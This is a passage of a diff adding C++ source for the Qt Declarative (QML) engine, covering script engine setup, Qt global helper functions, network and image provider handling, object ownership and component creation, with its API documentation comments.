+ offlineStoragePath = QDesktopServices::storageLocation(QDesktopServices::DataLocation).replace(QLatin1Char('/'), QDir::separator())
+ + QDir::separator() + QLatin1String("QML")
+ + QDir::separator() + QLatin1String("OfflineStorage");
+#endif
+
+#ifndef QT_NO_XMLSTREAMREADER
+ qt_add_qmlxmlhttprequest(this);
+#endif
+ qt_add_qmlsqldatabase(this);
+ // XXX A Multimedia "Qt.Sound" class also needs to be made available,
+ // XXX but we don't want a dependency in that cirection.
+ // XXX When the above a done some better way, that way should also be
+ // XXX used to add Qt.Sound class.
+
+ //types
+ if (mainthread)
+ qtObject.setProperty(QLatin1String("include"), newFunction(QDeclarativeInclude::include, 2));
+ else
+ qtObject.setProperty(QLatin1String("include"), newFunction(QDeclarativeInclude::worker_include, 2));
+
+ qtObject.setProperty(QLatin1String("isQtObject"), newFunction(QDeclarativeEnginePrivate::isQtObject, 1));
+ qtObject.setProperty(QLatin1String("rgba"), newFunction(QDeclarativeEnginePrivate::rgba, 4));
+ qtObject.setProperty(QLatin1String("hsla"), newFunction(QDeclarativeEnginePrivate::hsla, 4));
+ qtObject.setProperty(QLatin1String("rect"), newFunction(QDeclarativeEnginePrivate::rect, 4));
+ qtObject.setProperty(QLatin1String("point"), newFunction(QDeclarativeEnginePrivate::point, 2));
+ qtObject.setProperty(QLatin1String("size"), newFunction(QDeclarativeEnginePrivate::size, 2));
+ qtObject.setProperty(QLatin1String("vector3d"), newFunction(QDeclarativeEnginePrivate::vector3d, 3));
+
+ if (mainthread) {
+ //color helpers
+ qtObject.setProperty(QLatin1String("lighter"), newFunction(QDeclarativeEnginePrivate::lighter, 1));
+ qtObject.setProperty(QLatin1String("darker"), newFunction(QDeclarativeEnginePrivate::darker, 1));
+ qtObject.setProperty(QLatin1String("tint"), newFunction(QDeclarativeEnginePrivate::tint, 2));
+ }
+
+#ifndef QT_NO_DATESTRING
+ //date/time formatting
+ qtObject.setProperty(QLatin1String("formatDate"),newFunction(QDeclarativeEnginePrivate::formatDate, 2));
+ qtObject.setProperty(QLatin1String("formatTime"),newFunction(QDeclarativeEnginePrivate::formatTime, 2));
+ qtObject.setProperty(QLatin1String("formatDateTime"),newFunction(QDeclarativeEnginePrivate::formatDateTime, 2));
+#endif
+
+ //misc methods
+ qtObject.setProperty(QLatin1String("openUrlExternally"),newFunction(QDeclarativeEnginePrivate::desktopOpenUrl, 1));
+ qtObject.setProperty(QLatin1String("fontFamilies"),newFunction(QDeclarativeEnginePrivate::fontFamilies, 0));
+ qtObject.setProperty(QLatin1String("md5"),newFunction(QDeclarativeEnginePrivate::md5, 1));
+ qtObject.setProperty(QLatin1String("btoa"),newFunction(QDeclarativeEnginePrivate::btoa, 1));
+ qtObject.setProperty(QLatin1String("atob"),newFunction(QDeclarativeEnginePrivate::atob, 1));
+ qtObject.setProperty(QLatin1String("quit"), newFunction(QDeclarativeEnginePrivate::quit, 0));
+ qtObject.setProperty(QLatin1String("resolvedUrl"),newFunction(QDeclarativeScriptEngine::resolvedUrl, 1));
+
+ if (mainthread) {
+ qtObject.setProperty(QLatin1String("createQmlObject"),
+ newFunction(QDeclarativeEnginePrivate::createQmlObject, 1));
+ qtObject.setProperty(QLatin1String("createComponent"),
+ newFunction(QDeclarativeEnginePrivate::createComponent, 1));
+ }
+
+ //firebug/webkit compat
+ QScriptValue consoleObject = newObject();
+ consoleObject.setProperty(QLatin1String("log"),newFunction(QDeclarativeEnginePrivate::consoleLog, 1));
+ consoleObject.setProperty(QLatin1String("debug"),newFunction(QDeclarativeEnginePrivate::consoleLog, 1));
+ globalObject().setProperty(QLatin1String("console"), consoleObject);
+
+ // translation functions need to be installed
+ // before the global script class is constructed (QTBUG-6437)
+ installTranslatorFunctions();
+}
+
+QDeclarativeScriptEngine::~QDeclarativeScriptEngine()
+{
+ delete sqlQueryClass;
+ delete nodeListClass;
+ delete namedNodeMapClass;
+}
+
+QScriptValue QDeclarativeScriptEngine::resolvedUrl(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ QString arg = ctxt->argument(0).toString();
+ QUrl r = QDeclarativeScriptEngine::get(engine)->resolvedUrl(ctxt,QUrl(arg));
+ return QScriptValue(r.toString());
+}
+
+QNetworkAccessManager *QDeclarativeScriptEngine::networkAccessManager()
+{
+ return p->getNetworkAccessManager();
+}
+
+QDeclarativeEnginePrivate::~QDeclarativeEnginePrivate()
+{
+ Q_ASSERT(inProgressCreations == 0);
+ Q_ASSERT(bindValues.isEmpty());
+ Q_ASSERT(parserStatus.isEmpty());
+
+ while (cleanup) {
+ QDeclarativeCleanup *c = cleanup;
+ cleanup = c->next;
+ if (cleanup) cleanup->prev = &cleanup;
+ c->next = 0;
+ c->prev = 0;
+ c->clear();
+ }
+
+ delete rootContext;
+ rootContext = 0;
+ delete contextClass;
+ contextClass = 0;
+ delete objectClass;
+ objectClass = 0;
+ delete valueTypeClass;
+ valueTypeClass = 0;
+ delete typeNameClass;
+ typeNameClass = 0;
+ delete listClass;
+ listClass = 0;
+ delete globalClass;
+ globalClass = 0;
+
+ for(QHash<int, QDeclarativeCompiledData*>::ConstIterator iter = m_compositeTypes.constBegin(); iter != m_compositeTypes.constEnd(); ++iter)
+ (*iter)->release();
+ for(QHash<const QMetaObject *, QDeclarativePropertyCache *>::Iterator iter = propertyCache.begin(); iter != propertyCache.end(); ++iter)
+ (*iter)->release();
+ for(QHash<QPair<QDeclarativeType *, int>, QDeclarativePropertyCache *>::Iterator iter = typePropertyCache.begin(); iter != typePropertyCache.end(); ++iter)
+ (*iter)->release();
+
+}
+
+void QDeclarativeEnginePrivate::clear(SimpleList<QDeclarativeAbstractBinding> &bvs)
+{
+ bvs.clear();
+}
+
+void QDeclarativeEnginePrivate::clear(SimpleList<QDeclarativeParserStatus> &pss)
+{
+ for (int ii = 0; ii < pss.count; ++ii) {
+ QDeclarativeParserStatus *ps = pss.at(ii);
+ if(ps)
+ ps->d = 0;
+ }
+ pss.clear();
+}
+
+void QDeclarativePrivate::qdeclarativeelement_destructor(QObject *o)
+{
+ QObjectPrivate *p = QObjectPrivate::get(o);
+ if (p->declarativeData) {
+ QDeclarativeData *d = static_cast<QDeclarativeData*>(p->declarativeData);
+ if (d->ownContext && d->context) {
+ d->context->destroy();
+ d->context = 0;
+ }
+ }
+}
+
+void QDeclarativeData::destroyed(QAbstractDeclarativeData *d, QObject *o)
+{
+ static_cast<QDeclarativeData *>(d)->destroyed(o);
+}
+
+void QDeclarativeData::parentChanged(QAbstractDeclarativeData *d, QObject *o, QObject *p)
+{
+ static_cast<QDeclarativeData *>(d)->parentChanged(o, p);
+}
+
+void QDeclarativeData::objectNameChanged(QAbstractDeclarativeData *d, QObject *o)
+{
+ static_cast<QDeclarativeData *>(d)->objectNameChanged(o);
+}
+
+void QDeclarativeEnginePrivate::init()
+{
+ Q_Q(QDeclarativeEngine);
+ qRegisterMetaType<QVariant>("QVariant");
+ qRegisterMetaType<QDeclarativeScriptString>("QDeclarativeScriptString");
+ qRegisterMetaType<QScriptValue>("QScriptValue");
+ qRegisterMetaType<QDeclarativeComponent::Status>("QDeclarativeComponent::Status");
+
+ QDeclarativeData::init();
+
+ contextClass = new QDeclarativeContextScriptClass(q);
+ objectClass = new QDeclarativeObjectScriptClass(q);
+ valueTypeClass = new QDeclarativeValueTypeScriptClass(q);
+ typeNameClass = new QDeclarativeTypeNameScriptClass(q);
+ listClass = new QDeclarativeListScriptClass(q);
+ rootContext = new QDeclarativeContext(q,true);
+
+ QScriptValue applicationObject = objectClass->newQObject(new QDeclarativeApplication(q));
+ scriptEngine.globalObject().property(QLatin1String("Qt")).setProperty(QLatin1String("application"), applicationObject);
+
+ if (QCoreApplication::instance()->thread() == q->thread() &&
+ QDeclarativeEngineDebugService::isDebuggingEnabled()) {
+ isDebugging = true;
+ QDeclarativeEngineDebugService::instance()->addEngine(q);
+ QJSDebugService::instance()->addEngine(q);
+ }
+}
+
+QDeclarativeWorkerScriptEngine *QDeclarativeEnginePrivate::getWorkerScriptEngine()
+{
+ Q_Q(QDeclarativeEngine);
+ if (!workerScriptEngine)
+ workerScriptEngine = new QDeclarativeWorkerScriptEngine(q);
+ return workerScriptEngine;
+}
+
+/*!
+ \class QDeclarativeEngine
+ \since 4.7
+ \brief The QDeclarativeEngine class provides an environment for instantiating QML components.
+ \mainclass
+
+ Each QML component is instantiated in a QDeclarativeContext.
+ QDeclarativeContext's are essential for passing data to QML
+ components. In QML, contexts are arranged hierarchically and this
+ hierarchy is managed by the QDeclarativeEngine.
+
+ Prior to creating any QML components, an application must have
+ created a QDeclarativeEngine to gain access to a QML context. The
+ following example shows how to create a simple Text item.
+
+ \code
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\nText { text: \"Hello world!\" }", QUrl());
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(component.create());
+
+ //add item to view, etc
+ ...
+ \endcode
+
+ In this case, the Text item will be created in the engine's
+ \l {QDeclarativeEngine::rootContext()}{root context}.
+
+ \sa QDeclarativeComponent QDeclarativeContext
+*/
+
+/*!
+ Create a new QDeclarativeEngine with the given \a parent.
+*/
+QDeclarativeEngine::QDeclarativeEngine(QObject *parent)
+: QObject(*new QDeclarativeEnginePrivate(this), parent)
+{
+ Q_D(QDeclarativeEngine);
+ d->init();
+}
+
+/*!
+ Destroys the QDeclarativeEngine.
+
+ Any QDeclarativeContext's created on this engine will be
+ invalidated, but not destroyed (unless they are parented to the
+ QDeclarativeEngine object).
+*/
+QDeclarativeEngine::~QDeclarativeEngine()
+{
+ Q_D(QDeclarativeEngine);
+ if (d->isDebugging) {
+ QDeclarativeEngineDebugService::instance()->remEngine(this);
+ QJSDebugService::instance()->removeEngine(this);
+ }
+}
+
+/*! \fn void QDeclarativeEngine::quit()
+ This signal is emitted when the QML loaded by the engine would like to quit.
+ */
+
+/*! \fn void QDeclarativeEngine::warnings(const QList<QDeclarativeError> &warnings)
+ This signal is emitted when \a warnings messages are generated by QML.
+ */
+
+/*!
+ Clears the engine's internal component cache.
+
+ Normally the QDeclarativeEngine caches components loaded from qml
+ files. This method clears this cache and forces the component to be
+ reloaded.
+ */
+void QDeclarativeEngine::clearComponentCache()
+{
+ Q_D(QDeclarativeEngine);
+ d->typeLoader.clearCache();
+}
+
+/*!
+ Returns the engine's root context.
+
+ The root context is automatically created by the QDeclarativeEngine.
+ Data that should be available to all QML component instances
+ instantiated by the engine should be put in the root context.
+
+ Additional data that should only be available to a subset of
+ component instances should be added to sub-contexts parented to the
+ root context.
+*/
+QDeclarativeContext *QDeclarativeEngine::rootContext() const
+{
+ Q_D(const QDeclarativeEngine);
+ return d->rootContext;
+}
+
+/*!
+ Sets the \a factory to use for creating QNetworkAccessManager(s).
+
+ QNetworkAccessManager is used for all network access by QML. By
+ implementing a factory it is possible to create custom
+ QNetworkAccessManager with specialized caching, proxy and cookie
+ support.
+
+ The factory must be set before executing the engine.
+*/
+void QDeclarativeEngine::setNetworkAccessManagerFactory(QDeclarativeNetworkAccessManagerFactory *factory)
+{
+ Q_D(QDeclarativeEngine);
+ QMutexLocker locker(&d->mutex);
+ d->networkAccessManagerFactory = factory;
+}
+
+/*!
+ Returns the current QDeclarativeNetworkAccessManagerFactory.
+
+ \sa setNetworkAccessManagerFactory()
+*/
+QDeclarativeNetworkAccessManagerFactory *QDeclarativeEngine::networkAccessManagerFactory() const
+{
+ Q_D(const QDeclarativeEngine);
+ return d->networkAccessManagerFactory;
+}
+
+QNetworkAccessManager *QDeclarativeEnginePrivate::createNetworkAccessManager(QObject *parent) const
+{
+ QMutexLocker locker(&mutex);
+ QNetworkAccessManager *nam;
+ if (networkAccessManagerFactory) {
+ nam = networkAccessManagerFactory->create(parent);
+ } else {
+ nam = new QNetworkAccessManager(parent);
+ }
+
+ return nam;
+}
+
+QNetworkAccessManager *QDeclarativeEnginePrivate::getNetworkAccessManager() const
+{
+ Q_Q(const QDeclarativeEngine);
+ if (!networkAccessManager)
+ networkAccessManager = createNetworkAccessManager(const_cast<QDeclarativeEngine*>(q));
+ return networkAccessManager;
+}
+
+/*!
+ Returns a common QNetworkAccessManager which can be used by any QML
+ element instantiated by this engine.
+
+ If a QDeclarativeNetworkAccessManagerFactory has been set and a
+ QNetworkAccessManager has not yet been created, the
+ QDeclarativeNetworkAccessManagerFactory will be used to create the
+ QNetworkAccessManager; otherwise the returned QNetworkAccessManager
+ will have no proxy or cache set.
+
+ \sa setNetworkAccessManagerFactory()
+*/
+QNetworkAccessManager *QDeclarativeEngine::networkAccessManager() const
+{
+ Q_D(const QDeclarativeEngine);
+ return d->getNetworkAccessManager();
+}
+
+/*!
+
+ Sets the \a provider to use for images requested via the \e
+ image: url scheme, with host \a providerId. The QDeclarativeEngine
+ takes ownership of \a provider.
+
+ Image providers enable support for pixmap and threaded image
+ requests. See the QDeclarativeImageProvider documentation for details on
+ implementing and using image providers.
+
+ All required image providers should be added to the engine before any
+ QML sources files are loaded.
+
+ \sa removeImageProvider()
+*/
+void QDeclarativeEngine::addImageProvider(const QString &providerId, QDeclarativeImageProvider *provider)
+{
+ Q_D(QDeclarativeEngine);
+ QMutexLocker locker(&d->mutex);
+ d->imageProviders.insert(providerId.toLower(), QSharedPointer<QDeclarativeImageProvider>(provider));
+}
+
+/*!
+ Returns the QDeclarativeImageProvider set for \a providerId.
+*/
+QDeclarativeImageProvider *QDeclarativeEngine::imageProvider(const QString &providerId) const
+{
+ Q_D(const QDeclarativeEngine);
+ QMutexLocker locker(&d->mutex);
+ return d->imageProviders.value(providerId).data();
+}
+
+/*!
+ Removes the QDeclarativeImageProvider for \a providerId.
+
+ Returns the provider if it was found; otherwise returns 0.
+
+ \sa addImageProvider()
+*/
+void QDeclarativeEngine::removeImageProvider(const QString &providerId)
+{
+ Q_D(QDeclarativeEngine);
+ QMutexLocker locker(&d->mutex);
+ d->imageProviders.take(providerId);
+}
+
+QDeclarativeImageProvider::ImageType QDeclarativeEnginePrivate::getImageProviderType(const QUrl &url)
+{
+ QMutexLocker locker(&mutex);
+ QSharedPointer<QDeclarativeImageProvider> provider = imageProviders.value(url.host());
+ locker.unlock();
+ if (provider)
+ return provider->imageType();
+ return static_cast<QDeclarativeImageProvider::ImageType>(-1);
+}
+
+QImage QDeclarativeEnginePrivate::getImageFromProvider(const QUrl &url, QSize *size, const QSize& req_size)
+{
+ QMutexLocker locker(&mutex);
+ QImage image;
+ QSharedPointer<QDeclarativeImageProvider> provider = imageProviders.value(url.host());
+ locker.unlock();
+ if (provider) {
+ QString imageId = url.toString(QUrl::RemoveScheme | QUrl::RemoveAuthority).mid(1);
+ image = provider->requestImage(imageId, size, req_size);
+ }
+ return image;
+}
+
+QPixmap QDeclarativeEnginePrivate::getPixmapFromProvider(const QUrl &url, QSize *size, const QSize& req_size)
+{
+ QMutexLocker locker(&mutex);
+ QPixmap pixmap;
+ QSharedPointer<QDeclarativeImageProvider> provider = imageProviders.value(url.host());
+ locker.unlock();
+ if (provider) {
+ QString imageId = url.toString(QUrl::RemoveScheme | QUrl::RemoveAuthority).mid(1);
+ pixmap = provider->requestPixmap(imageId, size, req_size);
+ }
+ return pixmap;
+}
+
+/*!
+ Return the base URL for this engine. The base URL is only used to
+ resolve components when a relative URL is passed to the
+ QDeclarativeComponent constructor.
+
+ If a base URL has not been explicitly set, this method returns the
+ application's current working directory.
+
+ \sa setBaseUrl()
+*/
+QUrl QDeclarativeEngine::baseUrl() const
+{
+ Q_D(const QDeclarativeEngine);
+ if (d->baseUrl.isEmpty()) {
+ return QUrl::fromLocalFile(QDir::currentPath() + QDir::separator());
+ } else {
+ return d->baseUrl;
+ }
+}
+
+/*!
+ Set the base URL for this engine to \a url.
+
+ \sa baseUrl()
+*/
+void QDeclarativeEngine::setBaseUrl(const QUrl &url)
+{
+ Q_D(QDeclarativeEngine);
+ d->baseUrl = url;
+}
+
+/*!
+ Returns true if warning messages will be output to stderr in addition
+ to being emitted by the warnings() signal, otherwise false.
+
+ The default value is true.
+*/
+bool QDeclarativeEngine::outputWarningsToStandardError() const
+{
+ Q_D(const QDeclarativeEngine);
+ return d->outputWarningsToStdErr;
+}
+
+/*!
+ Set whether warning messages will be output to stderr to \a enabled.
+
+ If \a enabled is true, any warning messages generated by QML will be
+ output to stderr and emitted by the warnings() signal. If \a enabled
+ is false, on the warnings() signal will be emitted. This allows
+ applications to handle warning output themselves.
+
+ The default value is true.
+*/
+void QDeclarativeEngine::setOutputWarningsToStandardError(bool enabled)
+{
+ Q_D(QDeclarativeEngine);
+ d->outputWarningsToStdErr = enabled;
+}
+
+/*!
+ Returns the QDeclarativeContext for the \a object, or 0 if no
+ context has been set.
+
+ When the QDeclarativeEngine instantiates a QObject, the context is
+ set automatically.
+ */
+QDeclarativeContext *QDeclarativeEngine::contextForObject(const QObject *object)
+{
+ if(!object)
+ return 0;
+
+ QObjectPrivate *priv = QObjectPrivate::get(const_cast<QObject *>(object));
+
+ QDeclarativeData *data =
+ static_cast<QDeclarativeData *>(priv->declarativeData);
+
+ if (!data)
+ return 0;
+ else if (data->outerContext)
+ return data->outerContext->asQDeclarativeContext();
+ else
+ return 0;
+}
+
+/*!
+ Sets the QDeclarativeContext for the \a object to \a context.
+ If the \a object already has a context, a warning is
+ output, but the context is not changed.
+
+ When the QDeclarativeEngine instantiates a QObject, the context is
+ set automatically.
+ */
+void QDeclarativeEngine::setContextForObject(QObject *object, QDeclarativeContext *context)
+{
+ if (!object || !context)
+ return;
+
+ QDeclarativeData *data = QDeclarativeData::get(object, true);
+ if (data->context) {
+ qWarning("QDeclarativeEngine::setContextForObject(): Object already has a QDeclarativeContext");
+ return;
+ }
+
+ QDeclarativeContextData *contextData = QDeclarativeContextData::get(context);
+ contextData->addObject(object);
+}
+
+/*!
+ \enum QDeclarativeEngine::ObjectOwnership
+
+ Ownership controls whether or not QML automatically destroys the
+ QObject when the object is garbage collected by the JavaScript
+ engine. The two ownership options are:
+
+ \value CppOwnership The object is owned by C++ code, and will
+ never be deleted by QML. The JavaScript destroy() method cannot be
+ used on objects with CppOwnership. This option is similar to
+ QScriptEngine::QtOwnership.
+
+ \value JavaScriptOwnership The object is owned by JavaScript.
+ When the object is returned to QML as the return value of a method
+ call or property access, QML will delete the object if there are no
+ remaining JavaScript references to it and it has no
+ QObject::parent(). This option is similar to
+ QScriptEngine::ScriptOwnership.
+
+ Generally an application doesn't need to set an object's ownership
+ explicitly. QML uses a heuristic to set the default object
+ ownership. By default, an object that is created by QML has
+ JavaScriptOwnership. The exception to this are the root objects
+ created by calling QDeclarativeCompnent::create() or
+ QDeclarativeComponent::beginCreate() which have CppOwnership by
+ default. The ownership of these root-level objects is considered to
+ have been transferred to the C++ caller.
+
+ Objects not-created by QML have CppOwnership by default. The
+ exception to this is objects returned from a C++ method call. The
+ ownership of these objects is passed to JavaScript.
+
+ Calling setObjectOwnership() overrides the default ownership
+ heuristic used by QML.
+*/
+
+/*!
+ Sets the \a ownership of \a object.
+*/
+void QDeclarativeEngine::setObjectOwnership(QObject *object, ObjectOwnership ownership)
+{
+ if (!object)
+ return;
+
+ QDeclarativeData *ddata = QDeclarativeData::get(object, true);
+ if (!ddata)
+ return;
+
+ ddata->indestructible = (ownership == CppOwnership)?true:false;
+ ddata->explicitIndestructibleSet = true;
+}
+
+/*!
+ Returns the ownership of \a object.
+*/
+QDeclarativeEngine::ObjectOwnership QDeclarativeEngine::objectOwnership(QObject *object)
+{
+ if (!object)
+ return CppOwnership;
+
+ QDeclarativeData *ddata = QDeclarativeData::get(object, false);
+ if (!ddata)
+ return CppOwnership;
+ else
+ return ddata->indestructible?CppOwnership:JavaScriptOwnership;
+}
+
+Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object)
+{
+ QDeclarativeData *data = QDeclarativeData::get(object);
+
+ if (data && data->deferredComponent) {
+ if (QDeclarativeDebugService::isDebuggingEnabled()) {
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating);
+ QDeclarativeType *type = QDeclarativeMetaType::qmlType(object->metaObject());
+ QString typeName = type ? QLatin1String(type->qmlTypeName()) : QString::fromLatin1(object->metaObject()->className());
+ QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, typeName);
+ if (data->outerContext)
+ QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::Creating, data->outerContext->url, data->lineNumber);
+ }
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(data->context->engine);
+
+ QDeclarativeComponentPrivate::ConstructionState state;
+ QDeclarativeComponentPrivate::beginDeferred(ep, object, &state);
+
+ data->deferredComponent->release();
+ data->deferredComponent = 0;
+
+ QDeclarativeComponentPrivate::complete(ep, &state);
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Creating);
+ }
+}
+
+QDeclarativeContext *qmlContext(const QObject *obj)
+{
+ return QDeclarativeEngine::contextForObject(obj);
+}
+
+QDeclarativeEngine *qmlEngine(const QObject *obj)
+{
+ QDeclarativeContext *context = QDeclarativeEngine::contextForObject(obj);
+ return context?context->engine():0;
+}
+
+QObject *qmlAttachedPropertiesObjectById(int id, const QObject *object, bool create)
+{
+ QDeclarativeData *data = QDeclarativeData::get(object);
+ if (!data)
+ return 0; // Attached properties are only on objects created by QML
+
+ QObject *rv = data->hasExtendedData()?data->attachedProperties()->value(id):0;
+ if (rv || !create)
+ return rv;
+
+ QDeclarativeAttachedPropertiesFunc pf = QDeclarativeMetaType::attachedPropertiesFuncById(id);
+ if (!pf)
+ return 0;
+
+ rv = pf(const_cast<QObject *>(object));
+
+ if (rv)
+ data->attachedProperties()->insert(id, rv);
+
+ return rv;
+}
+
+QObject *qmlAttachedPropertiesObject(int *idCache, const QObject *object,
+ const QMetaObject *attachedMetaObject, bool create)
+{
+ if (*idCache == -1)
+ *idCache = QDeclarativeMetaType::attachedPropertiesFuncId(attachedMetaObject);
+
+ if (*idCache == -1 || !object)
+ return 0;
+
+ return qmlAttachedPropertiesObjectById(*idCache, object, create);
+}
+
+QDeclarativeDebuggingEnabler::QDeclarativeDebuggingEnabler()
+{
+#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL
+ if (!QDeclarativeEnginePrivate::qml_debugging_enabled) {
+ qDebug("Qml debugging is enabled. Only use this in a safe environment!");
+ }
+ QDeclarativeEnginePrivate::qml_debugging_enabled = true;
+#endif
+}
+
+
+class QDeclarativeDataExtended {
+public:
+ QDeclarativeDataExtended();
+ ~QDeclarativeDataExtended();
+
+ QHash<int, QObject *> attachedProperties;
+ QDeclarativeNotifier objectNameNotifier;
+};
+
+QDeclarativeDataExtended::QDeclarativeDataExtended()
+{
+}
+
+QDeclarativeDataExtended::~QDeclarativeDataExtended()
+{
+}
+
+QDeclarativeNotifier *QDeclarativeData::objectNameNotifier() const
+{
+ if (!extendedData) extendedData = new QDeclarativeDataExtended;
+ return &extendedData->objectNameNotifier;
+}
+
+QHash<int, QObject *> *QDeclarativeData::attachedProperties() const
+{
+ if (!extendedData) extendedData = new QDeclarativeDataExtended;
+ return &extendedData->attachedProperties;
+}
+
+void QDeclarativeData::destroyed(QObject *object)
+{
+ if (deferredComponent)
+ deferredComponent->release();
+
+ if (nextContextObject)
+ nextContextObject->prevContextObject = prevContextObject;
+ if (prevContextObject)
+ *prevContextObject = nextContextObject;
+
+ QDeclarativeAbstractBinding *binding = bindings;
+ while (binding) {
+ QDeclarativeAbstractBinding *next = binding->m_nextBinding;
+ binding->m_prevBinding = 0;
+ binding->m_nextBinding = 0;
+ binding->destroy();
+ binding = next;
+ }
+
+ if (bindingBits)
+ free(bindingBits);
+
+ if (propertyCache)
+ propertyCache->release();
+
+ if (ownContext && context)
+ context->destroy();
+
+ while (guards) {
+ QDeclarativeGuard<QObject> *guard = static_cast<QDeclarativeGuard<QObject> *>(guards);
+ *guard = (QObject *)0;
+ guard->objectDestroyed(object);
+ }
+
+ if (scriptValue)
+ delete scriptValue;
+
+ if (extendedData)
+ delete extendedData;
+
+ if (ownMemory)
+ delete this;
+}
+
+void QDeclarativeData::parentChanged(QObject *, QObject *parent)
+{
+ if (!parent && scriptValue) { delete scriptValue; scriptValue = 0; }
+}
+
+void QDeclarativeData::objectNameChanged(QObject *)
+{
+ if (extendedData) objectNameNotifier()->notify();
+}
+
+bool QDeclarativeData::hasBindingBit(int bit) const
+{
+ if (bindingBitsSize > bit)
+ return bindingBits[bit / 32] & (1 << (bit % 32));
+ else
+ return false;
+}
+
+void QDeclarativeData::clearBindingBit(int bit)
+{
+ if (bindingBitsSize > bit)
+ bindingBits[bit / 32] &= ~(1 << (bit % 32));
+}
+
+void QDeclarativeData::setBindingBit(QObject *obj, int bit)
+{
+ if (bindingBitsSize <= bit) {
+ int props = obj->metaObject()->propertyCount();
+ Q_ASSERT(bit < props);
+
+ int arraySize = (props + 31) / 32;
+ int oldArraySize = bindingBitsSize / 32;
+
+ bindingBits = (quint32 *)q_check_ptr(realloc(bindingBits,
+ arraySize * sizeof(quint32)));
+
+ memset(bindingBits + oldArraySize,
+ 0x00,
+ sizeof(quint32) * (arraySize - oldArraySize));
+
+ bindingBitsSize = arraySize * 32;
+ }
+
+ bindingBits[bit / 32] |= (1 << (bit % 32));
+}
+
+/*!
+ Creates a QScriptValue allowing you to use \a object in QML script.
+ \a engine is the QDeclarativeEngine it is to be created in.
+
+ The QScriptValue returned is a QtScript Object, not a QtScript QObject, due
+ to the special needs of QML requiring more functionality than a standard
+ QtScript QObject.
+*/
+QScriptValue QDeclarativeEnginePrivate::qmlScriptObject(QObject* object,
+ QDeclarativeEngine* engine)
+{
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
+ return enginePriv->objectClass->newQObject(object);
+}
+
+/*!
+ Returns the QDeclarativeContext for the executing QScript \a ctxt.
+*/
+QDeclarativeContextData *QDeclarativeEnginePrivate::getContext(QScriptContext *ctxt)
+{
+ QScriptValue scopeNode = QScriptDeclarativeClass::scopeChainValue(ctxt, -3);
+ Q_ASSERT(scopeNode.isValid());
+ Q_ASSERT(QScriptDeclarativeClass::scriptClass(scopeNode) == contextClass);
+ return contextClass->contextFromValue(scopeNode);
+}
+
+/*!
+ Returns the QUrl associated with the script \a ctxt for the case that there is
+ no QDeclarativeContext.
+*/
+QUrl QDeclarativeEnginePrivate::getUrl(QScriptContext *ctxt)
+{
+ QScriptValue scopeNode = QScriptDeclarativeClass::scopeChainValue(ctxt, -3);
+ Q_ASSERT(scopeNode.isValid());
+ Q_ASSERT(QScriptDeclarativeClass::scriptClass(scopeNode) == contextClass);
+ return contextClass->urlFromValue(scopeNode);
+}
+
+QString QDeclarativeEnginePrivate::urlToLocalFileOrQrc(const QUrl& url)
+{
+ if (url.scheme().compare(QLatin1String("qrc"), Qt::CaseInsensitive) == 0) {
+ if (url.authority().isEmpty())
+ return QLatin1Char(':') + url.path();
+ return QString();
+ }
+ return url.toLocalFile();
+}
+
+/*!
+\qmlmethod object Qt::createComponent(url)
+
+Returns a \l Component object created using the QML file at the specified \a url,
+or \c null if an empty string was given.
+
+The returned component's \l Component::status property indicates whether the
+component was successfully created. If the status is \c Component.Error,
+see \l Component::errorString() for an error description.
+
+Call \l {Component::createObject()}{Component.createObject()} on the returned
+component to create an object instance of the component.
+
+For example:
+
+\snippet doc/src/snippets/declarative/createComponent-simple.qml 0
+
+See \l {Dynamic Object Management in QML} for more information on using this function.
+
+To create a QML object from an arbitrary string of QML (instead of a file),
+use \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()}.
+*/
+
+QScriptValue QDeclarativeEnginePrivate::createComponent(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ QDeclarativeEnginePrivate *activeEnginePriv =
+ static_cast<QDeclarativeScriptEngine*>(engine)->p;
+ QDeclarativeEngine* activeEngine = activeEnginePriv->q_func();
+
+ if(ctxt->argumentCount() != 1) {
+ return ctxt->throwError(QLatin1String("Qt.createComponent(): Invalid arguments"));
+ } else {
+
+ QString arg = ctxt->argument(0).toString();
+ if (arg.isEmpty())
+ return engine->nullValue();
+ QUrl url = QDeclarativeScriptEngine::get(engine)->resolvedUrl(ctxt, QUrl(arg));
+ QDeclarativeContextData* context = activeEnginePriv->getContext(ctxt);
+ QDeclarativeComponent *c = new QDeclarativeComponent(activeEngine, url, activeEngine);
+ QDeclarativeComponentPrivate::get(c)->creationContext = context;
+ QDeclarativeData::get(c, true)->setImplicitDestructible();
+ return activeEnginePriv->objectClass->newQObject(c, qMetaTypeId<QDeclarativeComponent*>());
+ }
+}
+
+/*!
+\qmlmethod object Qt::createQmlObject(string qml, object parent, string filepath)
+
+Returns a new object created from the given \a string of QML which will have the specified \a parent,
+or \c null if there was an error in creating the object.
+
+If \a filepath is specified, it will be used for error reporting for the created object.
+
+Example (where \c parentItem is the id of an existing QML item):
+
+\snippet doc/src/snippets/declarative/createQmlObject.qml 0
+
+In the case of an error, a QtScript Error object is thrown. This object has an additional property,
+\c qmlErrors, which is an array of the errors encountered.
+Each object in this array has the members \c lineNumber, \c columnNumber, \c fileName and \c message.
+For example, if the above snippet had misspelled color as 'colro' then the array would contain an object like the following:
+{ "lineNumber" : 1, "columnNumber" : 32, "fileName" : "dynamicSnippet1", "message" : "Cannot assign to non-existent property \"colro\""}.
+
+Note that this function returns immediately, and therefore may not work if
+the \a qml string loads new components (that is, external QML files that have not yet been loaded).
+If this is the case, consider using \l{QML:Qt::createComponent()}{Qt.createComponent()} instead.
+
+See \l {Dynamic Object Management in QML} for more information on using this function.
+*/
+
+QScriptValue QDeclarativeEnginePrivate::createQmlObject(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ QDeclarativeEnginePrivate *activeEnginePriv =
